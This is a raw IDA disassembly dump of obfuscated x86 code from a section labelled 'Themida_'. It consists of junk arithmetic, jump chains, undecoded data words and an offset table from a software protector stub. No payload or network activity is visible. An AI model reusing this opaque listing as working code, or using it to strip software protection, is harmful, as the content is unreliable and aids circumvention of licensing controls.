148B66FDh, 2C48324h, 6859E800h, 788h, 83241489h dd 0C8904ECh, 5000B124h, 0FFF1BFE9h, 3C8B5AFFh, 4C48324h dd 0CE62492Dh, 5D00154h, 54CE6249h, 8124148Bh, 4C4h, 81C38100h dd 576C3D2Eh, 0AC6494BFh, 73F78142h, 2936440Fh, 243C8BFBh dd 0FF892CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FDB1: ; CODE XREF: Themida_:0054C7A6j or ebx, 7C4421D0h sub ebx, 7C6423C4h mov edi, ebx jmp loc_5490CB ; --------------------------------------------------------------------------- aBIacisp db '│ф╘A≈IИP',8,0 dw 8900h dd 0DBF75DEBh, 5543D3F7h, 0D44B53BDh, 3E5C178h, 10E3C581h dd 0ED81773Ah, 6DB782DCh, 0E95DEB01h, 0FFFF6834h, 4EC8350h dd 24048F54h, 4240481h, 0E9000000h, 0FFFF7411h, 5FF8895Bh dd 0FF4779E9h, 0C7EA81FFh, 132DD33h, 0C7C281FAh, 8132DD33h dd 0F176DCC2h, 0BB5312h, 1000000h, 8B2B31D3h, 0C481241Ch dd 4, 0D2315D5Ah, 7CC268h, 241C8900h, 0FFCAC0E9h, 59C828FFh dd 3B3668h, 240C8900h, 5338B050h, 0D98862B3h, 0FFD23EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE61: ; CODE XREF: Themida_:0054CE9Aj and eax, 0CCF51B8h shr eax, 7 shr eax, 6 add eax, 566E25A5h add eax, 0F460DB0Dh mov esi, eax jmp loc_548076 ; --------------------------------------------------------------------------- db 28h, 0DDh, 8Bh dd 0C483241Ch, 0E6BCE904h, 0EDBAFFFFh, 0E979080Fh, 0FFFFFCE1h dd 0B3241C89h, 70B569h, 0E8285BDDh, 592434FFh, 0FFBB2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FEA9: ; CODE XREF: Themida_:00548749j pop ebx shr ebx, 2 sub ebx, 3D1F359Ah xor ebx, 0EF7A5A9Bh push ebx sub dword ptr [esp], 15F2E37h mov ebp, [esp] add esp, 4 add ebp, 15F2E37h pop ebx not ebp xchg ecx, ebp dec ecx xchg ecx, ebp sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 jmp loc_54BF27 ; --------------------------------------------------------------------------- dd 4240483h, 247E9h, 7C015E00h, 5E5F0424h, 4C681h, 0C6810000h dd 2, 8B243487h, 17E92424h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF0F: ; CODE XREF: Themida_:0054A8C9j mov [esp], edx jmp loc_5458A3 ; --------------------------------------------------------------------------- db 54h dd 4C5815Dh, 81000000h, 4C5h, 242C8700h, 0FFC42EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FF2D: ; CODE XREF: Themida_:0054A233j mov [esp], ebx push dword ptr [esp] pop eax push 5563h mov [esp], ebp jmp loc_54ECE0 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 5A000000h, 4C281h, 0C2830000h, 74FF5202h, 8F5A0424h dd 248B2404h, 0E9E9F624h, 0FFFFC36Eh, 83240C8Bh, 0F8E904ECh dd 5BFFFF9Eh, 0FF5B4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FF75: ; CODE XREF: Themida_:0054B96Aj shl cl, 2 add cl, 8 mov dl, cl pop ecx add bh, dl pop dx xor dh, bh mov ebx, [esp] add esp, 4 xor al, dh pop edx push ecx push 78AEh mov [esp], eax jmp loc_549AB1 ; --------------------------------------------------------------------------- dw 295Dh dd 0D82959CBh, 0FFDB68E9h, 240487FFh, 0E924248Bh, 0FFFFA2FDh ; --------------------------------------------------------------------------- loc_54FFB4: ; CODE XREF: Themida_:0054C1CCj shl edx, 1 jmp loc_54AE5D ; --------------------------------------------------------------------------- db 5Dh dd 0C105EEC1h, 0F68107EEh, 1766177Ah, 0A755E957h, 7C8AFFFFh dd 64880224h, 89E90224h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FFDB: ; CODE XREF: Themida_:0054B8CBj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx pop eax pop edx xchg edi, edx jmp loc_5505D0 ; --------------------------------------------------------------------------- dd 0FF4591E9h, 24048BFFh, 60168h, 24348900h, 0C681E689h dd 4, 4C681h, 34870000h, 24248B24h, 0E599E955h, 8B66FFFFh dd 2F682404h, 89000038h, 0E0892404h, 7FBEBF57h, 0EFC10406h dd 1C78302h, 0FFF655E9h db 0FFh ; --------------------------------------------------------------------------- loc_55003D: ; CODE XREF: Themida_:005485CEj mov esi, esp add esi, 4 jmp loc_54D463 ; --------------------------------------------------------------------------- loc_55004A: ; CODE XREF: Themida_:0054EB53j push 6BA5h mov [esp], edx mov edx, 18C66DEAh add ebp, edx push dword ptr [esp] pop edx jmp loc_545BBF ; --------------------------------------------------------------------------- dw 0C781h dd 26AA6E70h, 5124048Bh, 0FF56D3E9h, 2615BDFFh, 0F5812A6Eh dd 27817B92h, 2EFCED81h, 0E5810E2Eh, 56F54F43h, 2232E581h dd 0F9E9577Eh, 0BAFFFF7Dh, 687C4A7Eh, 7732EA81h, 0F28175AFh dd 0F2CCD348h, 815AD701h, 4C7h, 243C8700h, 5CBB535Ch, 31258020h dd 2434FFDFh, 4C4815Bh, 89000000h, 0EC835FF9h, 240C8904h dd 0FF9E59E9h db 0FFh ; --------------------------------------------------------------------------- loc_5500D1: ; CODE XREF: Themida_:005477D3j push dword ptr [esp] mov eax, [esp] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_54EBB1 ; --------------------------------------------------------------------------- db 0FFh dd 0A8E92434h, 59FFFF94h, 8904EC83h, 51E92434h, 41FFFFA7h dd 8141D1F7h, 4E20D1C1h, 59CB01EAh, 0C91EB81h, 0C30145FDh dd 0FF8BBFE9h db 0FFh ; --------------------------------------------------------------------------- loc_550119: ; CODE XREF: Themida_:00545A3Dj push dword ptr [esp] jmp loc_54D932 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4C2h, 2C28100h, 0E9000000h, 0FFFFF156h, 0E924348Bh dd 0FFFFF1ECh, 0E9243489h, 0FFFF6C18h, 0F44EE9ADh, 4BAFFFFh dd 1000000h, 0A1F7E9D1h, 4BBFFFFh, 1000000h, 0BB535BD9h dd 4, 0FF70E6E9h, 240487FFh, 5724248Bh, 0FF4BE0E9h, 2DE4BEFFh dd 12E95ADBh, 83FFFF4Bh, 148704C2h, 0EEE95C24h, 0F7FFFF54h dd 0CE7AE9D5h, 0E95AFFFFh, 0FFFFC05Ah, 57240C8Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 89535C24h, 7CA268E3h, 14890000h dd 0B9515524h, 2BE51031h, 0FFF992E9h, 59CB29FFh, 4F9EEB81h dd 0C3016942h, 0FF6770E9h, 4BE56FFh, 57000000h, 0B94B46BFh dd 55574F6Bh, 0D5F75D5Fh, 8147EF87h, 68676DEFh, 0E2E78114h dd 8109EC7Dh, 846BDF7h, 5FFA0141h, 0EA81F201h, 48C40BFFh dd 0FF900CE9h, 0B60F66FFh, 51E952CCh, 81FFFFAEh, 0B1198FC6h dd 0E0C68117h, 314B672Ch, 0BB19E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55022E: ; CODE XREF: Themida_:00549295j xchg eax, [esp] pop esp add esp, 4 and eax, edx pop edx or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 mov [esp], edx mov edx, 0FFFFFFFFh add dword ptr [esp+4], 659B44ADh sub dword ptr [esp+4], 1443592h add dword ptr [esp+4], 33B74506h sub [esp+4], edx sub dword ptr [esp+4], 33B74506h add dword ptr [esp+4], 1443592h jmp loc_54B78C ; --------------------------------------------------------------------------- db 81h, 0C2h, 0C9h dd 81689361h, 4A024FEAh, 79C2811Dh, 8123A456h, 970023C2h dd 81C2295Ah, 970023EAh, 79EA815Ah, 8123A456h, 4A024FC2h dd 6DBB531Dh, 504BBC1Ch, 2A41DAB8h, 8BC30131h, 0C4812404h dd 4, 62EAB951h, 0CB316B22h, 0FFC232E9h, 0E95966FFh, 0FFFFB507h dd 0E8007F2Ch, 7FB753h, 8B665BF8h, 8950240Ch, 88BA52E0h dd 813F0F27h, 0B04FB2F2h, 0DFE28167h, 0E910CE2Ch, 0FFFF853Bh dd 4EC81h, 0FCE90000h, 81FFFFD4h, 237C31C2h, 8502E944h dd 6664FFFFh, 0A968028Bh, 89000052h, 56682414h, 0E9000025h dd 0FFFFB41Eh, 2D5DE801h, 45030ED2h, 1704F92Dh, 0AAE95E1Eh db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55033F: ; CODE XREF: Themida_:0054546Ej xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_54E2F6 ; --------------------------------------------------------------------------- db 89h, 0E8h, 5Dh dd 112E9h, 54295E00h, 0E95A0424h, 0FFFFC74Dh, 9C2424D3h dd 0FF4221E9h db 0FFh ; --------------------------------------------------------------------------- loc_550369: ; CODE XREF: Themida_:0054FB96j push ebx mov ebx, 1 mov edi, ebx pop ebx jmp loc_54FBF1 ; --------------------------------------------------------------------------- db 5Ah dd 8702C083h, 835C2404h, 1C8904ECh, 6D77E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55038A: ; CODE XREF: Themida_:0054FC17j pop ecx loc_55038B: ; CODE XREF: Themida_:0054CC36j push 3769h mov [esp], ebx mov eax, [esp] push esi mov esi, esp jmp loc_54D68F ; --------------------------------------------------------------------------- dw 0E1C1h dd 0E6F18108h, 0F7080946h, 0E94941D1h, 0FFFFAE5Bh, 9862E958h dd 805BFFFFh, 0E95344EEh, 0FFFFF6F9h, 0B353D828h, 7EC380DDh dd 0FF7193E9h, 241487FFh, 0EC81555Ch, 4, 0E9242489h, 0FFFF959Bh dd 4C2815Ah, 56000000h, 0C6815E54h, 4, 8704EE83h, 0E0E92434h dd 2DFFFFC7h, 3E1C61F7h, 0F705D029h, 5A3E1C61h, 0FF97F1E9h dd 55E289FFh, 89409ABDh, 52D5F72Ah, 9F0FDFBAh, 5AD5317Ah dd 0DDF7DDF7h, 6D2CE94Dh, 0C481FFFFh, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 6DE4E5Fh shl edx, 3 push eax mov eax, 64AF34FAh sub edx, eax mov eax, [esp] add esp, 4 sub edx, 0D2433DFAh add ebp, edx pop edx add ebp, 4 jmp loc_544E10 ; --------------------------------------------------------------------------- loc_550461: ; CODE XREF: Themida_:0054F68Dj push edx jmp loc_545A10 ; --------------------------------------------------------------------------- db 59h dd 6CE4BD55h, 0E950310Eh, 0FFFF88CFh, 73BBE95Ch, 0C681FFFFh dd 4, 8B243487h, 0FFE92424h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55048B: ; CODE XREF: Themida_:0054C57Dj mov esi, [esp] jmp loc_54A3CB ; --------------------------------------------------------------------------- db 81h dd 0DF5D8CC6h, 8500E906h, 0C89FFFFh, 9E45E924h, 0EC83FFFFh dd 24048904h, 0FF675EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5504B1: ; CODE XREF: Themida_:0054D469j pop esp mov [esp], esi push 20CFh mov [esp], edi mov edi, 449E7F7Fh push ecx mov ecx, 57BD7F9Bh jmp loc_54907A ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 0FF66B9E9h, 58C629FFh, 4676857h, 3C8B4E67h, 23E56824h dd 14890000h, 81E28924h, 4C2h, 4C28300h, 0FF7F46E9h db 0FFh ; --------------------------------------------------------------------------- loc_5504F9: ; CODE XREF: Themida_:0054BCEAj sub edi, 3EFC34ADh mov esi, [esp] add esp, 4 jmp locret_54758B ; --------------------------------------------------------------------------- dw 0BF57h dd 59F65DCDh, 0F704E7C1h, 29CF81DFh, 0E9617015h, 0FFFF7E24h dd 57A3BB53h, 0F3811966h, 27B40AF1h, 6049EB81h, 0C38312FAh dd 7EBC1FFh, 0ECF381h, 0C3814D46h, 0B6DA627Ch, 915BD821h dd 591D1F7h, 57FC6A56h, 0FFFF80E9h db 0FFh ; --------------------------------------------------------------------------- loc_550555: ; CODE XREF: Themida_:005483EBj mov eax, [esp] push ebx jmp loc_54ABC2 ; --------------------------------------------------------------------------- dw 481h dd 9D769924h, 96BF575Eh, 10AEB11h, 5F04247Ch, 9A240481h dd 0E928AE77h, 0FFFF400Eh ; --------------------------------------------------------------------------- loc_55057C: ; CODE XREF: Themida_:0054F610j add esp, 4 jmp loc_548F9B ; --------------------------------------------------------------------------- db 0C1h dd 0BD5504EBh, 2C40CC0h, 0FFA008E9h, 4DC681FFh, 2917C51Ch dd 4DEE81DEh, 0E917C51Ch, 0FFFFF3EBh, 2A2A68h, 24048900h dd 578868h, 24248900h, 4240481h, 58000000h, 4BF57h, 2E2D0000h dd 0E93CA82Ah, 0FFFFE8AFh ; --------------------------------------------------------------------------- loc_5505D0: ; CODE XREF: Themida_:0054FFEFj not edi xor edx, edi jmp loc_54DF58 ; --------------------------------------------------------------------------- db 54h, 58h, 56h dd 0FF72C1E9h, 240433FFh, 33240431h, 248B2404h, 24042924h dd 0DABCE99Ch, 0ED04FFFFh, 0AE99C04h, 58FFFF5Dh, 4EC81h dd 3C890000h, 0E9E78924h, 0FFFF84BCh, 0B4CA00B8h, 8BC201AAh dd 0DBE92404h, 29FFFF8Ah, 1C875EF3h, 0CA9AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55062A: ; CODE XREF: Themida_:0054A208j push ecx push edx mov edx, 71AC415Bh add edx, 0AD0CC7Fh mov ecx, edx jmp loc_54B9F1 ; --------------------------------------------------------------------------- loc_55063E: ; CODE XREF: Themida_:00548119j add esp, 4 add esi, 4 jmp loc_54E5CD ; --------------------------------------------------------------------------- dd 0B9240C89h, 8F60833h, 16D34BDh, 59CD312Eh, 19E9E901h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550663: ; CODE XREF: Themida_:00547EDAj pop edi push esi push esp pop esi push eax jmp loc_54C9F1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324348Bh, 0C48304C4h, 240C3304h, 33240C31h, 0E95C240Ch dd 0FFFF9152h, 0FA4CC7BFh, 5A2D6Bh, 0 dd offset byte_5A3901 dd 0 dd 7B40EFD4h, 0DA1708EBh, 213h, 2, 1, 2, 0FA4CC7BFh, 5 dup(0) dd offset aM0SB ; "╛0ьИ\"b" dd offset byte_554EC7 dd offset dword_5537C4 dd offset byte_564DB3 dd offset dword_5571F8 dd offset byte_563D8F dd offset word_56157E dd offset dword_552794 dd offset dword_5642D0 dd offset dword_558E48 dd offset dword_55545C dd offset word_552F32 dd offset byte_557377 dd offset word_55AA8A dd offset byte_55795B dd offset word_564E66 dd offset byte_55FE2F dd offset byte_56572B dd offset word_55C82E dd offset byte_553D37 dd offset word_56018E dd offset word_561136 dd offset byte_55A8FD dd offset byte_556A9B dd offset word_554842 dd offset dword_5588C0 dd offset word_55B7A6 dd offset byte_559AB5 dd offset dword_555DAC dd offset byte_562A87 dd offset byte_564F69 dd offset byte_558253 dd offset byte_561899 dd offset dword_55DAA0 dd offset byte_560139 dd offset byte_55A2A7 dd offset word_558C22 dd offset word_5644B2 dd offset dword_563BC0 dd offset dword_551E00 dd offset byte_55824B dd offset word_55D692 dd offset byte_55A203 dd offset byte_555F71 dd offset byte_55DFB5 dd offset word_565182 dd offset word_56284A dd offset dword_556028 dd offset byte_562BA7 dd offset byte_563209 dd offset dword_555D80 dd offset byte_554DFD dd offset dword_55520C dd offset byte_556733 dd offset byte_55AA23 dd offset word_565722 dd offset byte_550C85 dd offset word_5550A2 dd offset byte_5645B7 dd offset byte_55337F dd offset word_550D3A dd offset word_55A512 dd offset dword_561318 dd offset dword_55A01C dd offset byte_55E27D dd offset byte_55281F dd offset word_55E5D2 dd offset dword_55478C dd offset word_55FEE6 dd offset dword_55D240 dd offset aNhf@ ; "╜h■@" dd offset byte_55D3A3 dd offset byte_559415 dd offset byte_564283 dd offset byte_55A475 dd offset word_565412 dd offset word_56550E dd offset word_56348E dd offset word_55CE2E dd offset byte_552B8D dd offset dword_55BF0C dd offset byte_564C1F dd offset aN1Sc ; "╜1ьИФт" dd offset byte_56080F dd offset byte_5655DB dd offset word_557F3E dd offset word_55CC4A dd offset byte_560A0B dd offset word_561A96 dd offset byte_55B9D1 dd offset dword_55D628 dd offset byte_559C4F dd offset byte_55317F dd offset byte_562BB3 dd offset word_55386A dd offset byte_55A8AF dd offset word_55119E dd offset byte_552731 dd offset word_552C42 dd offset byte_5575ED dd offset word_55C52E dd offset word_563D7A dd offset word_562E5A dd offset byte_5509EB dd offset byte_553313 dd offset byte_550D15 dd offset byte_55C97B dd offset dword_55C808 dd offset byte_556E71 dd offset byte_562F21 dd offset word_55A9DE dd offset dword_563698 dd offset word_5618FE dd offset word_558792 dd offset dword_551338 dd offset dword_55E998 dd offset byte_555A1F dd offset dword_561124 dd offset dword_565B18 dd offset byte_554D55 dd offset word_564CB2 dd offset word_565B9E dd offset byte_553E7F dd offset byte_562CBB dd offset word_5579F6 dd offset byte_563805 dd offset dword_55699C dd offset dword_557AF4 dd offset byte_562893 dd offset dword_55C120 dd offset byte_55688B dd offset dword_56315C dd offset word_55B47E dd offset word_55866A dd offset byte_55C7B1 dd offset byte_553EC5 dd offset word_55A6C2 dd offset word_55B73E dd offset byte_55137D dd offset word_561D26 dd offset dword_56553C dd offset word_55345A dd offset dword_554630 dd offset dword_565850 dd offset byte_557C81 dd offset dword_558234 dd offset byte_564933 dd offset aNhsl ; "╜hАl" dd offset byte_553689 dd offset dword_55D350 dd offset byte_555E5F dd offset byte_563431 dd offset byte_551661 dd offset dword_55DCEC dd offset byte_550FD7 dd offset dword_561DA4 dd offset word_55B01E dd offset word_553E72 dd offset word_56242A dd offset dword_564CC0 dd offset byte_557C6B dd offset word_55B396 dd offset byte_553841 dd offset aMsw_ ; "╛Иw." dd offset byte_559E9F dd offset word_55B416 dd offset dword_55D01C ; --------------------------------------------------------------------------- loc_550968: ; CODE XREF: Themida_:0059B9C9j pusha pushf cld call $+5 pop edi sub edi, 60841B1h mov eax, edi add edi, 6083EC9h cmp eax, [edi+2Ch] jnz short loc_550986 jmp short loc_550999 ; --------------------------------------------------------------------------- loc_550986: ; CODE XREF: Themida_:00550982j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_550995 ; --------------------------------------------------------------------------- loc_550990: ; CODE XREF: Themida_:00550997j add [edi+ecx*4+40h], eax dec ecx loc_550995: ; CODE XREF: Themida_:0055098Ej or ecx, ecx jnz short loc_550990 loc_550999: ; CODE XREF: Themida_:00550984j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5509A6: ; CODE XREF: Themida_:005509ADj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5509A6 loc_5509AF: ; CODE XREF: Themida_:00551F71j ; Themida_:0055263Bj ... lodsb push 772Ah jmp loc_55F147 ; --------------------------------------------------------------------------- dw 0EF81h dd 53156868h, 0C09E9h, 47BB5300h, 8164BD6Ah, 0BD6A43EBh dd 3409E964h, 0D8F60001h, 88521604h, 5AD188C2h, 10238E9h db 0 ; --------------------------------------------------------------------------- loc_5509E5: ; CODE XREF: Themida_:0055B00Fj push ebp jmp loc_5653C1 ; --------------------------------------------------------------------------- byte_5509EB db 66h ; DATA XREF: Themida_:00550868o dd 6824048Bh, 6689h, 89243C89h, 0D3B951E7h, 8160826Dh dd 0BB4AA4E9h, 2BF18164h, 1FBC723h, 240C8BCFh, 10403E9h dd 5AD00100h, 8B240487h, 0EC832424h, 0F1DCE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550A26: ; CODE XREF: Themida_:005624D9j push dword ptr [esp] jmp loc_55E3A8 ; --------------------------------------------------------------------------- dw 0E581h dd 74466AA8h, 2718ED81h, 95E9005Ch, 68000012h, 358Ch, 8904EC83h dd 4832424h, 48F0424h, 24048324h, 6F25E904h, 815E0000h dd 4C4h, 5189E900h, 4890000h, 1C6D6824h, 0E9581615h, 1077Fh dd 3381CB01h, 7EA1C52h, 83241C8Bh, 34FF04C4h, 2434FF24h dd 0B588E9h, 24143300h, 33241431h, 248B2414h, 0FFD03024h dd 148B2434h, 2B1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550AA6: ; CODE XREF: Themida_:00551E4Ej sub eax, 10D25B38h shl eax, 8 push ecx mov ecx, 31C53FEAh neg ecx shr ecx, 4 not ecx dec ecx not ecx sub ecx, 20F25C06h jmp loc_558BC1 ; --------------------------------------------------------------------------- loc_550AC9: ; CODE XREF: Themida_:00561459j sub edx, esi pop esi push 243h mov [esp], esi mov esi, 47355EB0h neg esi inc esi sub esi, 6D1642CBh jmp loc_551E72 ; --------------------------------------------------------------------------- db 89h dd 0B9512434h, 4, 0E959CE89h, 936Dh ; --------------------------------------------------------------------------- loc_550AF8: ; CODE XREF: Themida_:00559E8Dj mov edx, [esp] jmp loc_561928 ; --------------------------------------------------------------------------- loc_550B00: ; CODE XREF: Themida_:0055340Ej mov ecx, 15962961h shr ecx, 8 and ecx, 662D6C12h inc ecx push ebx jmp loc_55FFB4 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4870000h, 62685C24h, 8900005Bh, 6DE9240Ch, 0F700011Ah dd 7CBD55DEh, 0E9ACB8AAh, 14BFCh, 42474FFh, 14A27E9h db 0 ; --------------------------------------------------------------------------- loc_550B41: ; CODE XREF: Themida_:00557533j mov edx, esp jmp loc_559905 ; --------------------------------------------------------------------------- loc_550B48: ; CODE XREF: Themida_:0055628Cj add [esp+4], ebx pop ebx pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_5658BE ; --------------------------------------------------------------------------- loc_550B5F: ; CODE XREF: Themida_:00553FE8j push esp pop eax jmp loc_55448F ; --------------------------------------------------------------------------- aQ5QiYsh db 'Q╧5:$Q┴оYИhа',0 align 4 loc_550B74: ; CODE XREF: Themida_:005573B6j mov edi, 1CE132A0h mov eax, edi pop edi add eax, 76CD7B7Dh sub eax, 93AEAE1Dh jmp loc_561263 ; --------------------------------------------------------------------------- db 89h dd 6F682414h, 89000046h, 0BD55243Ch, 436620E3h, 3EBF5755h dd 310C9C3Ah, 0E904247Ch, 1286Dh, 0F308E3B6h, 8EF3805Ah dd 88DD8851h, 34FF59EEh, 241C8B24h, 4C481h, 0C4810000h dd 4, 8B66F030h, 39E92414h db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550BD7: ; CODE XREF: Themida_:0055475Bj add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55E436 ; --------------------------------------------------------------------------- dd 5A11EB81h, 0BA527D71h, 67433DBh, 0F33C281h, 0E2C1652Ah dd 6CA8102h, 0C175E17Ch, 0D2F706E2h, 58AAEA81h, 0CDE93945h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550C13: ; CODE XREF: Themida_:00555E14j mov eax, [esp] add esp, 4 push ebp mov ebp, 4 add eax, ebp jmp loc_558E70 ; --------------------------------------------------------------------------- dw 0EF01h dd 5D2434FFh, 0A4B6850h, 24890000h, 24048124h, 4, 40558h dd 0C0830000h, 24048704h, 3324248Bh, 3C31243Ch, 243C3324h dd 0C148E95Ch, 0CD890000h, 2F57E959h db 1, 0 ; --------------------------------------------------------------------------- loc_550C62: ; CODE XREF: Themida_:0055AF49j push esp mov esi, [esp] add esp, 4 jmp loc_5605F7 ; --------------------------------------------------------------------------- loc_550C71: ; CODE XREF: Themida_:00555EBDj pop edx sub ebx, 36665965h jmp loc_564499 ; --------------------------------------------------------------------------- loc_550C7D: ; CODE XREF: Themida_:0055C3CDj xchg edx, [esp] jmp loc_55DCD8 ; --------------------------------------------------------------------------- byte_550C85 db 0ADh, 55h, 50h ; DATA XREF: Themida_:005507ACo dd 0FB041CB8h, 481501Dh, 0BD752424h, 0ED815D72h, 72BD7524h dd 8324048Bh, 0BA5204C4h, 5BB31963h, 5F5A5752h, 473DBD55h dd 0CD8104B1h, 7B9010DEh, 2C1EE581h, 0CD8167C9h, 1F735B8Fh dd 7ECBE581h, 0ED81340Fh, 34035E8Ch, 7F8EE9h, 68DDF700h dd 5748h, 0BA241489h, 4588512Bh, 525AD509h, 3B97E9h, 5BF80800h dd 0B2CD0F6h, 12E4DE9h db 0 ; --------------------------------------------------------------------------- loc_550CF9: ; CODE XREF: Themida_:00558B30j add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] or ebx, ebx jmp loc_55BF65 ; --------------------------------------------------------------------------- byte_550D15 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:00550870o dd 8B2434FFh, 68502404h, 5077h, 343AE954h db 1, 0 ; --------------------------------------------------------------------------- loc_550D2A: ; CODE XREF: Themida_:0055C262j mov [esp], edx mov dh, 1Eh and dh, 45h or dh, 18h jmp loc_551037 ; --------------------------------------------------------------------------- word_550D3A dw 30ACh ; DATA XREF: Themida_:005507BCo dd 2EC83D8h, 241C8966h, 0D830CEB3h, 241C8B66h, 44B96850h dd 72E90000h, 8100004Dh, 4C4h, 4C48300h, 0F670B450h, 0E1CC80DCh dd 0D451E9h, 24048900h, 42474FFh, 8324048Bh, 48F04C4h dd 27D9E924h, 0BE560000h, 500C535Fh, 152BD405h, 4DFC0531h dd 0F00129E8h, 0E84DFC2Dh, 2BD42D29h, 295E3115h, 0CA6FE9F8h dd 0FE890000h, 4CE9595Fh, 0BB00013Eh, 115E7724h, 0E905E3C1h dd 66D7h ; --------------------------------------------------------------------------- loc_550DBC: ; CODE XREF: Themida_:00556577j pop esi jmp loc_55A993 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815924h, 4, 0DF87CF87h, 2414F753h, 0CCEEE9h, 0CCE98100h dd 0E93DB641h, 13A51h ; --------------------------------------------------------------------------- loc_550DE4: ; CODE XREF: Themida_:0056561Aj push edx push 4883h jmp loc_55EBBE ; --------------------------------------------------------------------------- loc_550DEF: ; CODE XREF: Themida_:005534A1j xchg ecx, [esp] pop esp mov edx, [esp] add esp, 4 jmp loc_565216 ; --------------------------------------------------------------------------- aSu7 db '\И·7',0 db 0 ; --------------------------------------------------------------------------- loc_550E07: ; CODE XREF: Themida_:0055D6B0j pop esi jmp loc_55BFCF ; --------------------------------------------------------------------------- db 0C0h, 0E0h, 7 dd 0C708E504h, 0D6CF8058h, 3062F780h, 0EEC05BFEh, 6EEC008h dd 0F13BE9h, 0E9FE2900h, 0B780h, 662128BDh, 2129BA61h dd 0EA316166h, 5AD6295Dh, 4FC8BB53h, 0EC832855h, 678E904h dd 9C500000h, 0B635E9h, 7948BE00h, 0F3894240h, 67C3815Eh dd 81610392h, 2E065EEFh, 81DF293Fh, 2E065EC7h, 0E82D5B3Fh dd 2974DA64h, 64E805F8h, 685F74DAh, 3768h, 52243489h, 1D0A2668h dd 0B8505A57h, 602566E7h, 90E9C201h db 6, 1, 0 ; --------------------------------------------------------------------------- loc_550E9B: ; CODE XREF: Themida_:00559DF2j add esi, ebp add esi, 94F0382h sub esi, 3C374030h jmp loc_563F4F ; --------------------------------------------------------------------------- loc_550EAE: ; CODE XREF: Themida_:005637A0j add ebp, ecx pop ecx mov edi, [esp] add esp, 4 xor [esp+4], ebp jmp loc_5624DE ; --------------------------------------------------------------------------- loc_550EC3: ; CODE XREF: Themida_:00553F40j sub esp, 4 jmp loc_551395 ; --------------------------------------------------------------------------- loc_550ECE: ; CODE XREF: Themida_:0055A575j sub dword ptr [esp+4], 6DBA2B26h jmp loc_55C234 ; --------------------------------------------------------------------------- db 50h dd 33329FB8h, 0FFC5210Fh, 81582434h, 4C4h, 2EDC100h, 7F5FC581h dd 0B68FFF7h, 89000039h, 34FF242Ch, 89505924h, 405E0h dd 0C0830000h, 24048704h, 2434FF5Ch, 7856E9h db 0 ; --------------------------------------------------------------------------- loc_550F19: ; CODE XREF: Themida_:00551EDBj add ebp, 4 jmp loc_553F36 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48358h, 12E168h, 24348900h, 6857E689h, 4436h, 0BB241C89h dd 2E5A4F07h, 10706E9h, 4CB66800h, 0B5E90000h, 50000078h dd 0CB29FDB8h, 89DFE946h, 2FB40000h, 80D9CC80h, 0C2B387C4h dd 0E82AE9h, 3E1C100h, 605EE181h, 0D9F71CA0h, 0E981D1F7h dd 0B983262Ah, 743DE9h, 0C3815B00h, 4, 4BF57h, 0EB810000h dd 623E2E81h, 38BBEB81h, 0FB013713h, 38BBC381h, 0C3813713h dd 623E2E81h, 43A9E9h, 24248B00h, 2474FF50h, 48F5804h dd 24248B24h, 582434FFh, 68E78957h, 76CBh, 0BE243489h dd 73230CA2h, 0F6E9D6F7h db 1Ah, 1, 0 byte_550FD7 db 66h ; DATA XREF: Themida_:00550934o dd 0E9240C8Bh, 0C58Ah ; --------------------------------------------------------------------------- loc_550FE0: ; CODE XREF: Themida_:0055D390j sub bl, 78h add al, 0C7h jmp loc_553C63 ; --------------------------------------------------------------------------- loc_550FEA: ; CODE XREF: Themida_:0056346Ej or ebp, esi jmp loc_556BC4 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0B2E90000h, 0E9000101h, 0FFFFF9AFh ; --------------------------------------------------------------------------- loc_551000: ; CODE XREF: Themida_:0055656Fj push dword ptr [esp] jmp loc_561F32 ; --------------------------------------------------------------------------- dd 4C681h, 34330000h, 250DE924h, 0F5010001h, 8324348Bh dd 0C58304C4h, 242C8704h, 4C5DE9h, 0F2685200h, 8B601E6Ch dd 1E92414h db 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551037: ; CODE XREF: Themida_:00550D35j sub dh, 4Fh xor al, dh mov edx, [esp] add esp, 4 neg al jmp loc_558B12 ; --------------------------------------------------------------------------- db 